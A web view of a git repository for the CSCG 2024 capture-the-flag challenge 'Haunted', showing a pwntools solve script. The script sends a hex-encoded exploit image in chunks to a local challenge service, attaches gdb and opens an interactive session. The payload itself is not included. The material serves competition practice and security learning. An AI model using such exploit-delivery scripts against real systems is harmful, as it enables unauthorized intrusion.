cscg24-haunted

CSCG 2024 Challenge 'Haunted'
git clone https://git.sinitax.com/sinitax/cscg24-haunted
Log | Files | Refs | sfeed.txt

solve (657B)


      1#!/usr/bin/env python3
      2
      3from tqdm import tqdm
      4from pwn import *
      5import sys
      6
      7args = sys.argv[1:]
      8if len(args) == 0:
      9    args = ["nc", "127.0.0.1", "1024"]
     10io = process(args)
     11
     12print(io.readline())
     13msg = open("exploit.img", "rb").read().hex() + "EOF"
     14msg = msg.ljust(len(msg) + 1024 - (len(msg) % 1024)).encode()
     15for i in tqdm(range(0, len(msg), 1024)):
     16    io.send(msg[i:i+1024])
     17
     18gdb = 'read -p "= paused ="; gdb -ex "target remote localhost:1234"'
     19run_in_new_terminal(["sh", "-c", gdb], kill_at_exit=False)
     20
     21# define hook-stop
     22# x/10i $rip
     23# end
     24
     25context.log_level = "DEBUG"
     26io.interactive()
     27#with open("remote.log", "wb+") as f:
     28#    f.write(io.readall())